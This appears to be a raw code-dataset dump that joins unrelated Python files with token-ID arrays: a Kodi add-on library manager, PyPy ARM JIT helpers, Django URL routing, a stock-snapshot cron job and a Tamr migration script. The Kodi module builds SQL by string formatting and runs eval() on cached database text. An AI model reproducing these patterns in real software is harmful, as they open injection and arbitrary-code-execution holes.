5 except: return False @staticmethod def legal_filename(filename): try: filename = filename.strip() filename = re.sub(r'(?!%s)[^\w\-_\.]', '.', filename) filename = re.sub('\.+', '.', filename) filename = re.sub(re.compile('(CON\|PRN\|AUX\|NUL\|COM\d\|LPT\d)\.', re.I), '\\1_', filename) xbmc.makeLegalFilename(filename) return filename except: return filename @staticmethod def make_path(base_path, title, year='', season=''): show_folder = re.sub(r'[^\w\-_\. ]', '_', title) show_folder = '%s (%s)' % (show_folder, year) if year else show_folder path = os.path.join(base_path, show_folder) if season: path = os.path.join(path, 'Season %s' % season) return path class libmovies: def __init__(self): self.library_folder = os.path.join(control.transPath(control.setting('library.movie')), '') self.check_setting = control.setting('library.check_movie') or 'false' self.library_setting = control.setting('library.update') or 'true' self.dupe_setting = control.setting('library.check') or 'true' self.infoDialog = False def add(self, name, title, year, imdb, tmdb, range=False): if not control.condVisibility('Window.IsVisible(infodialog)') and not control.condVisibility('Player.HasVideo'): control.infoDialog(control.lang(32552).encode('utf-8'), time=10000000) self.infoDialog = True try: if not self.dupe_setting == 'true': raise Exception() id = [imdb, tmdb] if not tmdb == '0' else [imdb] lib = control.jsonrpc('{"jsonrpc": "2.0", "method": "VideoLibrary.GetMovies", "params": {"filter":{"or": [{"field": "year", "operator": "is", "value": "%s"}, {"field": "year", "operator": "is", "value": "%s"}, {"field": "year", "operator": "is", "value": "%s"}]}, "properties" : ["imdbnumber", "originaltitle", "year"]}, "id": 1}' % (year, str(int(year)+1), str(int(year)-1))) lib = unicode(lib, 'utf-8', errors='ignore') lib = json.loads(lib)['result']['movies'] lib = [i for i in lib if str(i['imdbnumber']) in id or (i['originaltitle'].encode('utf-8') == title and str(i['year']) == year)][0] except: lib = [] files_added = 0 try: if not lib == []: raise Exception() if self.check_setting == 'true': src = lib_tools.check_sources(title, year, imdb, None, None, None, None, None) if not src: raise Exception() self.strmFile({'name': name, 'title': title, 'year': year, 'imdb': imdb, 'tmdb': tmdb}) files_added += 1 except: pass if range == True: return if self.infoDialog == True: control.infoDialog(control.lang(32554).encode('utf-8'), time=1) if self.library_setting == 'true' and not control.condVisibility('Library.IsScanningVideo') and files_added > 0: control.execute('UpdateLibrary(video)') def range(self, url): control.idle() yes = control.yesnoDialog(control.lang(32555).encode('utf-8'), '', '') if not yes: return if not control.condVisibility('Window.IsVisible(infodialog)') and not control.condVisibility('Player.HasVideo'): control.infoDialog(control.lang(32552).encode('utf-8'), time=10000000) self.infoDialog = True from resources.lib.indexers import movies items = movies.movies().get(url, idx=False) if items == None: items = [] for i in items: try: if xbmc.abortRequested == True: return sys.exit() self.add('%s (%s)' % (i['title'], i['year']), i['title'], i['year'], i['imdb'], i['tmdb'], range=True) except: pass if self.infoDialog == True: control.infoDialog(control.lang(32554).encode('utf-8'), time=1) if self.library_setting == 'true' and not control.condVisibility('Library.IsScanningVideo'): control.execute('UpdateLibrary(video)') def strmFile(self, i): try: name, title, year, imdb, tmdb = i['name'], i['title'], i['year'], i['imdb'], i['tmdb'] sysname, systitle = urllib.quote_plus(name), urllib.quote_plus(title) transtitle = cleantitle.normalize(title.translate(None, '\/:?"<>\|')) content = '%s?action=play&name=%s&title=%s&year=%s&imdb=%s&tmdb=%s' % (sys.argv[0], sysname, systitle, year, imdb, tmdb) folder = lib_tools.make_path(self.library_folder, transtitle, year) lib_tools.create_folder(folder) lib_tools.write_file(os.path.join(folder, lib_tools.legal_filename(transtitle) + '.strm'), content) lib_tools.write_file(os.path.join(folder, 'movie.nfo'), lib_tools.nfo_url('movie', i)) except: pass class libtvshows: def __init__(self): self.library_folder = os.path.join(control.transPath(control.setting('library.tv')),'') self.version = control.version() self.check_setting = control.setting('library.check_episode') or 'false' self.include_unknown = control.setting('library.include_unknown') or 'true' self.library_setting = control.setting('library.update') or 'true' self.dupe_setting = control.setting('library.check') or 'true' self.datetime = (datetime.datetime.utcnow() - datetime.timedelta(hours = 5)) self.date = (self.datetime - datetime.timedelta(hours = 24)).strftime('%Y%m%d') self.infoDialog = False self.block = False def add(self, tvshowtitle, year, imdb, tvdb, range=False): if not control.condVisibility('Window.IsVisible(infodialog)') and not control.condVisibility('Player.HasVideo'): control.infoDialog(control.lang(32552).encode('utf-8'), time=10000000) self.infoDialog = True from resources.lib.indexers import episodes items = episodes.episodes().get(tvshowtitle, year, imdb, tvdb, idx=False) try: items = [{'title': i['title'], 'year': i['year'], 'imdb': i['imdb'], 'tvdb': i['tvdb'], 'season': i['season'], 'episode': i['episode'], 'tvshowtitle': i['tvshowtitle'], 'premiered': i['premiered']} for i in items] except: items = [] try: if not self.dupe_setting == 'true': raise Exception() if items == []: raise Exception() id = [items[0]['imdb'], items[0]['tvdb']] lib = control.jsonrpc('{"jsonrpc": "2.0", "method": "VideoLibrary.GetTVShows", "params": {"properties" : ["imdbnumber", "title", "year"]}, "id": 1}') lib = unicode(lib, 'utf-8', errors='ignore') lib = json.loads(lib)['result']['tvshows'] lib = [i['title'].encode('utf-8') for i in lib if str(i['imdbnumber']) in id or (i['title'].encode('utf-8') == items[0]['tvshowtitle'] and str(i['year']) == items[0]['year'])][0] lib = control.jsonrpc('{"jsonrpc": "2.0", "method": "VideoLibrary.GetEpisodes", "params": {"filter":{"and": [{"field": "tvshow", "operator": "is", "value": "%s"}]}, "properties": ["season", "episode"]}, "id": 1}' % lib) lib = unicode(lib, 'utf-8', errors='ignore') lib = json.loads(lib)['result']['episodes'] lib = ['S%02dE%02d' % (int(i['season']), int(i['episode'])) for i in lib] items = [i for i in items if not 'S%02dE%02d' % (int(i['season']), int(i['episode'])) in lib] except: pass files_added = 0 for i in items: try: if xbmc.abortRequested == True: return sys.exit() if self.check_setting == 'true': if i['episode'] == '1': self.block = True src = lib_tools.check_sources(i['title'], i['year'], i['imdb'], i['tvdb'], i['season'], i['episode'], i['tvshowtitle'], i['premiered']) if src: self.block = False if self.block == True: raise Exception() premiered = i.get('premiered', '0') if (premiered != '0' and int(re.sub('[^0-9]', '', str(premiered))) > int(self.date)) or (premiered == '0' and not self.include_unknown): continue self.strmFile(i) files_added += 1 except: pass if range == True: return if self.infoDialog == True: control.infoDialog(control.lang(32554).encode('utf-8'), time=1) if self.library_setting == 'true' and not control.condVisibility('Library.IsScanningVideo') and files_added > 0: control.execute('UpdateLibrary(video)') def range(self, url): control.idle() yes = control.yesnoDialog(control.lang(32555).encode('utf-8'), '', '') if not yes: return if not control.condVisibility('Window.IsVisible(infodialog)') and not control.condVisibility('Player.HasVideo'): control.infoDialog(control.lang(32552).encode('utf-8'), time=10000000) self.infoDialog = True from resources.lib.indexers import tvshows items = tvshows.tvshows().get(url, idx=False) if items == None: items = [] for i in items: try: if xbmc.abortRequested == True: return sys.exit() self.add(i['title'], i['year'], i['imdb'], i['tvdb'], range=True) except: pass if self.infoDialog == True: control.infoDialog(control.lang(32554).encode('utf-8'), time=1) if self.library_setting == 'true' and not control.condVisibility('Library.IsScanningVideo'): control.execute('UpdateLibrary(video)') def strmFile(self, i): try: title, year, imdb, tvdb, season, episode, tvshowtitle, premiered = i['title'], i['year'], i['imdb'], i['tvdb'], i['season'], i['episode'], i['tvshowtitle'], i['premiered'] episodetitle = urllib.quote_plus(title) systitle, syspremiered = urllib.quote_plus(tvshowtitle), urllib.quote_plus(premiered) transtitle = cleantitle.normalize(tvshowtitle.translate(None, '\/:?"<>\|')) content = '%s?action=play&title=%s&year=%s&imdb=%s&tvdb=%s&season=%s&episode=%s&tvshowtitle=%s&date=%s' % (sys.argv[0], episodetitle, year, imdb, tvdb, season, episode, systitle, syspremiered) folder = lib_tools.make_path(self.library_folder, transtitle, year) lib_tools.create_folder(folder) lib_tools.write_file(os.path.join(folder, 'tvshow.nfo'), lib_tools.nfo_url('tv', i)) folder = lib_tools.make_path(self.library_folder, transtitle, year, season) lib_tools.create_folder(folder) lib_tools.write_file(os.path.join(folder, lib_tools.legal_filename('%s S%02dE%02d' % (transtitle, int(season), int(episode))) + '.strm'), content) except: pass class libepisodes: def __init__(self): self.library_folder = os.path.join(control.transPath(control.setting('library.tv')),'') self.library_setting = control.setting('library.update') or 'true' self.include_unknown = control.setting('library.include_unknown') or 'true' self.property = '%s_service_property' % control.addonInfo('name').lower() self.datetime = (datetime.datetime.utcnow() - datetime.timedelta(hours = 5)) self.date = (self.datetime - datetime.timedelta(hours = 24)).strftime('%Y%m%d') self.infoDialog = False def update(self, query=None, info='true'): if not query == None: control.idle() try: items = [] season, episode = [], [] show = [os.path.join(self.library_folder, i) for i in control.listDir(self.library_folder)[0]] for s in show: try: season += [os.path.join(s, i) for i in control.listDir(s)[0]] except: pass for s in season: try: episode.append([os.path.join(s, i) for i in control.listDir(s)[1] if i.endswith('.strm')][-1]) except: pass for file in episode: try: file = control.openFile(file) read = file.read() read = read.encode('utf-8') file.close() if not read.startswith(sys.argv[0]): raise Exception() params = dict(urlparse.parse_qsl(read.replace('?',''))) try: tvshowtitle = params['tvshowtitle'] except: tvshowtitle = None try: tvshowtitle = params['show'] except: pass if tvshowtitle == None or tvshowtitle == '': raise Exception() year, imdb, tvdb = params['year'], params['imdb'], params['tvdb'] imdb = 'tt' + re.sub('[^0-9]', '', str(imdb)) try: tmdb = params['tmdb'] except: tmdb = '0' items.append({'tvshowtitle': tvshowtitle, 'year': year, 'imdb': imdb, 'tmdb': tmdb, 'tvdb': tvdb}) except: pass items = [i for x, i in enumerate(items) if i not in items[x + 1:]] if len(items) == 0: raise Exception() except: return try: lib = control.jsonrpc('{"jsonrpc": "2.0", "method": "VideoLibrary.GetTVShows", "params": {"properties" : ["imdbnumber", "title", "year"]}, "id": 1}') lib = unicode(lib, 'utf-8', errors='ignore') lib = json.loads(lib)['result']['tvshows'] except: return if info == 'true' and not control.condVisibility('Window.IsVisible(infodialog)') and not control.condVisibility('Player.HasVideo'): control.infoDialog(control.lang(32553).encode('utf-8'), time=10000000) self.infoDialog = True try: control.makeFile(control.dataPath) dbcon = database.connect(control.libcacheFile) dbcur = dbcon.cursor() dbcur.execute("CREATE TABLE IF NOT EXISTS tvshows (""id TEXT, ""items TEXT, ""UNIQUE(id)"");") except: return try: from resources.lib.indexers import episodes except: return files_added = 0 for item in items: it = None if xbmc.abortRequested == True: return sys.exit() try: dbcur.execute("SELECT * FROM tvshows WHERE id = '%s'" % item['tvdb']) fetch = dbcur.fetchone() it = eval(fetch[1].encode('utf-8')) except: pass try: if not it == None: raise Exception() it = episodes.episodes().get(item['tvshowtitle'], item['year'], item['imdb'], item['tvdb'], idx=False) status = it[0]['status'].lower() it = [{'title': i['title'], 'year': i['year'], 'imdb': i['imdb'], 'tvdb': i['tvdb'], 'season': i['season'], 'episode': i['episode'], 'tvshowtitle': i['tvshowtitle'], 'premiered': i['premiered']} for i in it] if status == 'continuing': raise Exception() dbcur.execute("INSERT INTO tvshows Values (?, ?)", (item['tvdb'], repr(it))) dbcon.commit() except: pass try: id = [item['imdb'], item['tvdb']] if not item['tmdb'] == '0': id += [item['tmdb']] ep = [x['title'].encode('utf-8') for x in lib if str(x['imdbnumber']) in id or (x['title'].encode('utf-8') == item['tvshowtitle'] and str(x['year']) == item['year'])][0] ep = control.jsonrpc('{"jsonrpc": "2.0", "method": "VideoLibrary.GetEpisodes", "params": {"filter":{"and": [{"field": "tvshow", "operator": "is", "value": "%s"}]}, "properties": ["season", "episode"]}, "id": 1}' % ep) ep = unicode(ep, 'utf-8', errors='ignore') ep = json.loads(ep).get('result', {}).get('episodes', {}) ep = [{'season': int(i['season']), 'episode': int(i['episode'])} for i in ep] ep = sorted(ep, key=lambda x: (x['season'], x['episode']))[-1] num = [x for x,y in enumerate(it) if str(y['season']) == str(ep['season']) and str(y['episode']) == str(ep['episode'])][-1] it = [y for x,y in enumerate(it) if x > num] if len(it) == 0: continue except: continue for i in it: try: if xbmc.abortRequested == True: return sys.exit() premiered = i.get('premiered', '0') if (premiered != '0' and int(re.sub('[^0-9]', '', str(premiered))) > int(self.date)) or (premiered == '0' and not self.include_unknown): continue libtvshows().strmFile(i) files_added += 1 except: pass if self.infoDialog == True: control.infoDialog(control.lang(32554).encode('utf-8'), time=1) if self.library_setting == 'true' and not control.condVisibility('Library.IsScanningVideo') and files_added > 0: control.execute('UpdateLibrary(video)') def service(self): try: lib_tools.create_folder(os.path.join(control.transPath(control.setting('library.movie')), '')) lib_tools.create_folder(os.path.join(control.transPath(control.setting('library.tv')), '')) except: pass try: control.makeFile(control.dataPath) dbcon = database.connect(control.libcacheFile) dbcur = dbcon.cursor() dbcur.execute("CREATE TABLE IF NOT EXISTS service (""setting TEXT, ""value TEXT, ""UNIQUE(setting)"");") dbcur.execute("SELECT * FROM service WHERE setting = 'last_run'") fetch = dbcur.fetchone() if fetch == None: serviceProperty = "1970-01-01 23:59:00.000000" dbcur.execute("INSERT INTO service Values (?, ?)", ('last_run', serviceProperty)) dbcon.commit() else: serviceProperty = str(fetch[1]) dbcon.close() except: try: return dbcon.close() except: return try: control.window.setProperty(self.property, serviceProperty) except: return while not xbmc.abortRequested: try: serviceProperty = control.window.getProperty(self.property) t1 = datetime.timedelta(hours=6) t2 = datetime.datetime.strptime(serviceProperty, '%Y-%m-%d %H:%M:%S.%f') t3 = datetime.datetime.now() check = abs(t3 - t2) > t1 if check == False: raise Exception() if (control.player.isPlaying() or control.condVisibility('Library.IsScanningVideo')): raise Exception() serviceProperty = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S.%f') control.window.setProperty(self.property, serviceProperty) try: dbcon = database.connect(control.libcacheFile) dbcur = dbcon.cursor() dbcur.execute("CREATE TABLE IF NOT EXISTS service (""setting TEXT, ""value TEXT, ""UNIQUE(setting)"");") dbcur.execute("DELETE FROM service WHERE setting = 'last_run'") dbcur.execute("INSERT INTO service Values (?, ?)", ('last_run', serviceProperty)) dbcon.commit() dbcon.close() except: try: dbcon.close() except: pass if not control.setting('library.service.update') == 'true': raise Exception() info = control.setting('library.service.notification') or 'true' self.update(info=info) except: pass control.sleep(10000)	[ 1, 396, 448, 29930, 29899, 14137, 29901, 23616, 29899, 29947, 448, 29930, 29899, 13, 13383, 13383, 13383, 13383, 13383, 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rpython/jit/backend/arm/helper/assembler.py	kantai/passe-pypy-taint-tracking	2	148818	from __future__ import with_statement from rpython.jit.backend.arm import conditions as c from rpython.jit.backend.arm import registers as r from rpython.jit.backend.arm.codebuilder import AbstractARMv7Builder from rpython.jit.metainterp.history import ConstInt, BoxInt, FLOAT from rpython.rlib.rarithmetic import r_uint, r_longlong, intmask from rpython.jit.metainterp.resoperation import rop def gen_emit_op_unary_cmp(name, true_cond): false_cond = c.get_opposite_of(true_cond) def f(self, op, arglocs, regalloc, fcond): assert fcond is not None reg, res = arglocs self.mc.CMP_ri(reg.value, 0) self.mc.MOV_ri(res.value, 1, true_cond) self.mc.MOV_ri(res.value, 0, false_cond) return fcond f.__name__ = 'emit_op_%s' % name return f def gen_emit_guard_unary_cmp(name, true_cond): false_cond = c.get_opposite_of(true_cond) def f(self, op, guard, arglocs, regalloc, fcond): assert fcond is not None assert guard is not None reg = arglocs[0] self.mc.CMP_ri(reg.value, 0) cond = true_cond guard_opnum = guard.getopnum() if guard_opnum == rop.GUARD_FALSE: cond = false_cond return self._emit_guard(guard, arglocs[1:], cond, save_exc=False) f.__name__ = 'emit_guard_%s' % name return f def gen_emit_op_ri(name, opname): ri_op = getattr(AbstractARMv7Builder, '%s_ri' % opname) rr_op = getattr(AbstractARMv7Builder, '%s_rr' % opname) def f(self, op, arglocs, regalloc, fcond): assert fcond is not None l0, l1, res = arglocs if l1.is_imm(): ri_op(self.mc, res.value, l0.value, imm=l1.value, cond=fcond) else: rr_op(self.mc, res.value, l0.value, l1.value) return fcond f.__name__ = 'emit_op_%s' % name return f def gen_emit_op_by_helper_call(name, opname): helper = getattr(AbstractARMv7Builder, opname) def f(self, op, arglocs, regalloc, fcond): assert fcond is not None if op.result: regs = r.caller_resp[1:] + [r.ip] else: regs = r.caller_resp with saved_registers(self.mc, regs, r.caller_vfp_resp): helper(self.mc, fcond) return fcond f.__name__ = 'emit_op_%s' % name return f def gen_emit_cmp_op(name, condition): inv = c.get_opposite_of(condition) def f(self, op, arglocs, regalloc, fcond): l0, l1, res = arglocs if l1.is_imm(): self.mc.CMP_ri(l0.value, imm=l1.getint(), cond=fcond) else: self.mc.CMP_rr(l0.value, l1.value, cond=fcond) self.mc.MOV_ri(res.value, 1, cond=condition) self.mc.MOV_ri(res.value, 0, cond=inv) return fcond f.__name__ = 'emit_op_%s' % name return f def gen_emit_cmp_op_guard(name, true_cond): false_cond = c.get_opposite_of(true_cond) def f(self, op, guard, arglocs, regalloc, fcond): assert guard is not None l0 = arglocs[0] l1 = arglocs[1] assert l0.is_reg() if l1.is_imm(): self.mc.CMP_ri(l0.value, imm=l1.getint(), cond=fcond) else: self.mc.CMP_rr(l0.value, l1.value, cond=fcond) guard_opnum = guard.getopnum() cond = true_cond if guard_opnum == rop.GUARD_FALSE: cond = false_cond return self._emit_guard(guard, arglocs[2:], cond, save_exc=False) f.__name__ = 'emit_guard_%s' % name return f def gen_emit_float_op(name, opname): op_rr = getattr(AbstractARMv7Builder, opname) def f(self, op, arglocs, regalloc, fcond): arg1, arg2, result = arglocs op_rr(self.mc, result.value, arg1.value, arg2.value) return fcond f.__name__ = 'emit_op_%s' % name return f def gen_emit_unary_float_op(name, opname): op_rr = getattr(AbstractARMv7Builder, opname) def f(self, op, arglocs, regalloc, fcond): arg1, result = arglocs op_rr(self.mc, result.value, arg1.value) return fcond f.__name__ = 'emit_op_%s' % name return f def gen_emit_float_cmp_op(name, cond): inv = c.get_opposite_of(cond) def f(self, op, arglocs, regalloc, fcond): arg1, arg2, res = arglocs self.mc.VCMP(arg1.value, arg2.value) self.mc.VMRS(cond=fcond) self.mc.MOV_ri(res.value, 1, cond=cond) self.mc.MOV_ri(res.value, 0, cond=inv) return fcond f.__name__ = 'emit_op_%s' % name return f def gen_emit_float_cmp_op_guard(name, true_cond): false_cond = c.get_opposite_of(true_cond) def f(self, op, guard, arglocs, regalloc, fcond): assert guard is not None arg1 = arglocs[0] arg2 = arglocs[1] self.mc.VCMP(arg1.value, arg2.value) self.mc.VMRS(cond=fcond) cond = true_cond guard_opnum = guard.getopnum() if guard_opnum == rop.GUARD_FALSE: cond = false_cond return self._emit_guard(guard, arglocs[2:], cond, save_exc=False) f.__name__ = 'emit_guard_%s' % name return f class saved_registers(object): def __init__(self, cb, regs_to_save, vfp_regs_to_save=None): self.cb = cb if vfp_regs_to_save is None: vfp_regs_to_save = [] self.regs = regs_to_save self.vfp_regs = vfp_regs_to_save def __enter__(self): if len(self.regs) > 0: self.cb.PUSH([r.value for r in self.regs]) if len(self.vfp_regs) > 0: self.cb.VPUSH([r.value for r in self.vfp_regs]) def __exit__(self, *args): if len(self.vfp_regs) > 0: self.cb.VPOP([r.value for r in self.vfp_regs]) if len(self.regs) > 0: self.cb.POP([r.value for r in self.regs]) def count_reg_args(args): reg_args = 0 words = 0 count = 0 for x in range(min(len(args), 4)): if args[x].type == FLOAT: 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profiles_api/urls.py	arun65/profiles-rest-api	0	172231	<filename>profiles_api/urls.py<gh_stars>0 from django.urls import path, include from profiles_api import views from rest_framework.routers import DefaultRouter router = DefaultRouter() router.register('hello-viewset', views.HelloViewSet, base_name='hello-viewset') # (url, class, basename) router.register('profile', views.UserProfileViewSet) # base_name is not required as we configured the queryset.. DRF will figureout the name using the queryset, base_name is only required when we dont have a queryset or when we want to override the name of the queryset urlpatterns = [ path("hello-view/", views.HelloApiView.as_view()), path('login/', views.UserLoginApiView.as_view()), path("", include(router.urls)), # router.urls will generate list of urls for our viewsets based on the methods defined ]	[ 1, 529, 9507, 29958, 771, 5325, 29918, 2754, 29914, 26045, 29889, 2272, 29966, 12443, 29918, 303, 1503, 29958, 29900, 13, 3166, 9557, 29889, 26045, 1053, 2224, 29892, 3160, 13, 3166, 28723, 29918, 2754, 1053, 8386, 13, 3166, 1791, 29918, 4468, 29889, 27537, 2153, 1053, 13109, 23971, 13, 13, 15140, 353, 13109, 23971, 580, 13, 15140, 29889, 9573, 877, 12199, 29899, 1493, 842, 742, 8386, 29889, 10994, 1043, 2697, 29892, 2967, 29918, 978, 2433, 12199, 29899, 1493, 842, 1495, 396, 313, 2271, 29892, 770, 29892, 2362, 3871, 29897, 13, 15140, 29889, 9573, 877, 10185, 742, 8386, 29889, 2659, 13909, 1043, 2697, 29897, 396, 2967, 29918, 978, 338, 451, 3734, 408, 591, 13252, 278, 2346, 842, 636, 26900, 29943, 674, 4377, 449, 278, 1024, 773, 278, 2346, 842, 29892, 2967, 29918, 978, 338, 871, 3734, 746, 591, 4555, 505, 263, 2346, 842, 470, 746, 591, 864, 304, 5712, 278, 1024, 310, 278, 2346, 842, 13, 13, 13, 2271, 11037, 29879, 353, 518, 13, 1678, 2224, 703, 12199, 29899, 1493, 29914, 613, 8386, 29889, 10994, 11713, 1043, 29889, 294, 29918, 1493, 25739, 13, 1678, 2224, 877, 7507, 29914, 742, 8386, 29889, 2659, 11049, 11713, 1043, 29889, 294, 29918, 1493, 25739, 13, 1678, 2224, 703, 613, 3160, 29898, 15140, 29889, 26045, 8243, 396, 12876, 29889, 26045, 674, 5706, 1051, 310, 23942, 363, 1749, 1776, 7224, 2729, 373, 278, 3519, 3342, 13, 29962, 13, 2 ]
finance/cron.py	momantang/cobrass	1	149937	<gh_stars>1-10 # coding:utf8 import os import sys sys.path.insert(0, os.path.abspath('../')) import logging import pandas as pd from finance.models import Stock, CrontabAction, MarketSnapshot import datetime import pytdx import easyquotation from utils.timeutils import is_tradetime_now from local import local_setting as ls from django.utils import dates """ 定时任务 """ logger = logging.getLogger(__name__) dev = True def my_scheduled_job(): crontab_action = CrontabAction() crontab_action.date = datetime.datetime.now() crontab_action.name = 'my_scheduled_job' crontab_action.description = 'first my schedule job' crontab_action.save() if dev: logger.debug('my_scheduled job') print(str(datetime.datetime.now()) + " my_scheduled_job") def down_market_snapshot(save=True): """ 每半小时获取下市场快照 :return: 市场快照 """ if is_tradetime_now(): date = datetime.datetime.now() dateStr = date.strftime('%Y-%m-%d_%H-%M-%S') quotation = easyquotation.use('sina') snapshot = quotation.market_snapshot(prefix=True) market_snapshot = MarketSnapshot(date=date, context=snapshot) market_snapshot.save() df_snapshot = pd.DataFrame.from_dict(snapshot) df_snapshot = df_snapshot.T df_snapshot.index.name = 'code' if save: df_snapshot.to_csv(ls.LocalSetting.data_path + "mark_snapshot/" + dateStr + ".csv", compression='gzip') return df_snapshot def down_stock_index_snapshot(save=True): quotation = easyquotation.use('sina') content = quotation.stocks(['sh000001', 'sz399001', 'sz399006'], prefix=True) pass def down_interest_stock(): """ 下载感兴趣的股票的分时记录 :return: """ stocks = Stock.Objects.filter(is_interest=True) pass if __name__ == "__main__": df = down_market_snapshot(save=False)	[ 1, 529, 12443, 29918, 303, 1503, 29958, 29896, 29899, 29896, 29900, 13, 29937, 14137, 29901, 9420, 29947, 13, 5215, 2897, 13, 5215, 10876, 13, 13, 9675, 29889, 2084, 29889, 7851, 29898, 29900, 29892, 2897, 29889, 2084, 29889, 370, 1028, 493, 877, 6995, 8785, 13, 13, 5215, 12183, 13, 5215, 11701, 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29898, 13506, 29922, 5574, 29897, 13, 4706, 9999, 29918, 29879, 14551, 353, 28794, 21913, 29898, 1256, 29922, 1256, 29892, 3030, 29922, 29879, 14551, 29897, 13, 4706, 9999, 29918, 29879, 14551, 29889, 7620, 580, 13, 4706, 4489, 29918, 29879, 14551, 353, 10518, 29889, 17271, 29889, 3166, 29918, 8977, 29898, 29879, 14551, 29897, 13, 4706, 4489, 29918, 29879, 14551, 353, 4489, 29918, 29879, 14551, 29889, 29911, 13, 4706, 4489, 29918, 29879, 14551, 29889, 2248, 29889, 978, 353, 525, 401, 29915, 13, 4706, 565, 4078, 29901, 13, 9651, 4489, 29918, 29879, 14551, 29889, 517, 29918, 7638, 29898, 3137, 29889, 7717, 29020, 29889, 1272, 29918, 2084, 718, 376, 3502, 29918, 29879, 14551, 12975, 718, 2635, 5015, 718, 11393, 7638, 613, 24221, 2433, 29887, 7554, 1495, 13, 4706, 736, 4489, 29918, 29879, 14551, 13, 13, 13, 1753, 1623, 29918, 17712, 29918, 2248, 29918, 29879, 14551, 29898, 7620, 29922, 5574, 1125, 13, 1678, 13911, 362, 353, 4780, 23083, 362, 29889, 1509, 877, 29879, 1099, 1495, 13, 1678, 2793, 353, 13911, 362, 29889, 17712, 29879, 18959, 845, 29900, 29900, 29900, 29900, 29900, 29896, 742, 525, 3616, 29941, 29929, 29929, 29900, 29900, 29896, 742, 525, 3616, 29941, 29929, 29929, 29900, 29900, 29953, 7464, 10944, 29922, 5574, 29897, 13, 1678, 1209, 13, 13, 13, 1753, 1623, 29918, 1639, 342, 29918, 17712, 7295, 13, 1678, 9995, 13, 268, 30557, 31526, 233, 135, 162, 31914, 235, 185, 166, 30210, 235, 133, 164, 234, 168, 171, 30210, 30748, 30594, 31410, 31283, 13, 1678, 584, 2457, 29901, 13, 1678, 9995, 13, 1678, 10961, 29879, 353, 10224, 29889, 12724, 29889, 4572, 29898, 275, 29918, 1639, 342, 29922, 5574, 29897, 13, 1678, 1209, 13, 13, 13, 361, 4770, 978, 1649, 1275, 376, 1649, 3396, 1649, 1115, 13, 1678, 4489, 353, 1623, 29918, 28549, 29918, 29879, 14551, 29898, 7620, 29922, 8824, 29897, 13, 2 ]
examples/snippets/dataset/manage/migrate_dataset_changes.py	ErinCompaan/tamr-toolbox	1	121511	""" An example script to migrate changes to a dataset attributes from one instance of Tamr to another """ import tamr_toolbox as tbox # load example multi config my_config = tbox.utils.config.from_yaml("examples/resources/conf/migrate_dataset.config.yaml") # Create the source tamr client source_client = tbox.utils.client.create(my_config["source_migration_instance"]) # Create the target tamr client target_client = tbox.utils.client.create(my_config["target_migration_instance"]) # Update each dataset datasets = my_config["datasets"] for ds in datasets: dataset_name = ds["dataset_name"] # Get dataset from source instance source_dataset = source_client.datasets.by_name(dataset_name) # Get updated dataset definition attr_type_dict = { attr.name: tbox.models.attribute_type.from_json(attr.spec().to_dict()["type"]) for attr in source_dataset.attributes } attribute_names = attr_type_dict.keys() description = source_dataset.description tags = source_dataset.tags # Migrate dataset updates from source to target instance if tbox.dataset.manage.exists(client=target_client, dataset_name=dataset_name): target_dataset = target_client.datasets.by_name(dataset_name) tbox.dataset.manage.update( dataset=target_dataset, attributes=attribute_names, attribute_types=attr_type_dict, description=description, tags=tags, override_existing_types=True, ) else: primary_keys = source_dataset.spec().to_dict()["keyAttributeNames"] tbox.dataset.manage.create( client=target_client, primary_keys=primary_keys, dataset=source_dataset, )	[ 1, 9995, 13, 2744, 1342, 2471, 304, 9725, 403, 3620, 304, 263, 8783, 8393, 515, 697, 2777, 310, 16939, 29878, 304, 1790, 13, 15945, 29908, 13, 5215, 21308, 29878, 29918, 10154, 1884, 408, 260, 1884, 13, 13, 29937, 2254, 1342, 2473, 2295, 13, 1357, 29918, 2917, 353, 260, 1884, 29889, 13239, 29889, 2917, 29889, 3166, 29918, 25162, 703, 19057, 29914, 13237, 29914, 5527, 29914, 26983, 403, 29918, 24713, 29889, 2917, 29889, 25162, 1159, 13, 13, 29937, 6204, 278, 2752, 21308, 29878, 3132, 13, 4993, 29918, 4645, 353, 260, 1884, 29889, 13239, 29889, 4645, 29889, 3258, 29898, 1068, 1357, 29918, 2917, 3366, 4993, 29918, 29885, 16783, 29918, 8758, 20068, 13, 13, 29937, 6204, 278, 3646, 21308, 29878, 3132, 13, 5182, 29918, 4645, 353, 260, 1884, 29889, 13239, 29889, 4645, 29889, 3258, 29898, 1068, 1357, 29918, 2917, 3366, 5182, 29918, 29885, 16783, 29918, 8758, 20068, 13, 13, 29937, 10318, 1269, 8783, 13, 14538, 1691, 353, 590, 29918, 2917, 3366, 14538, 1691, 3108, 13, 1454, 18031, 297, 20035, 29901, 13, 1678, 8783, 29918, 978, 353, 18031, 3366, 24713, 29918, 978, 3108, 13, 13, 1678, 396, 3617, 8783, 515, 2752, 2777, 13, 1678, 2752, 29918, 24713, 353, 2752, 29918, 4645, 29889, 14538, 1691, 29889, 1609, 29918, 978, 29898, 24713, 29918, 978, 29897, 13, 13, 1678, 396, 3617, 4784, 8783, 5023, 13, 1678, 12421, 29918, 1853, 29918, 8977, 353, 426, 13, 4706, 12421, 29889, 978, 29901, 260, 1884, 29889, 9794, 29889, 12715, 29918, 1853, 29889, 3166, 29918, 3126, 29898, 5552, 29889, 6550, 2141, 517, 29918, 8977, 580, 3366, 1853, 20068, 13, 4706, 363, 12421, 297, 2752, 29918, 24713, 29889, 15697, 13, 1678, 500, 13, 1678, 5352, 29918, 7039, 353, 12421, 29918, 1853, 29918, 8977, 29889, 8149, 580, 13, 13, 1678, 6139, 353, 2752, 29918, 24713, 29889, 8216, 13, 1678, 8282, 353, 2752, 29918, 24713, 29889, 11338, 13, 13, 1678, 396, 341, 4481, 403, 8783, 11217, 515, 2752, 304, 3646, 2777, 13, 1678, 565, 260, 1884, 29889, 24713, 29889, 1171, 482, 29889, 9933, 29898, 4645, 29922, 5182, 29918, 4645, 29892, 8783, 29918, 978, 29922, 24713, 29918, 978, 1125, 13, 4706, 3646, 29918, 24713, 353, 3646, 29918, 4645, 29889, 14538, 1691, 29889, 1609, 29918, 978, 29898, 24713, 29918, 978, 29897, 13, 4706, 260, 1884, 29889, 24713, 29889, 1171, 482, 29889, 5504, 29898, 13, 9651, 8783, 29922, 5182, 29918, 24713, 29892, 13, 9651, 8393, 29922, 12715, 29918, 7039, 29892, 13, 9651, 5352, 29918, 8768, 29922, 5552, 29918, 1853, 29918, 8977, 29892, 13, 9651, 6139, 29922, 8216, 29892, 13, 9651, 8282, 29922, 11338, 29892, 13, 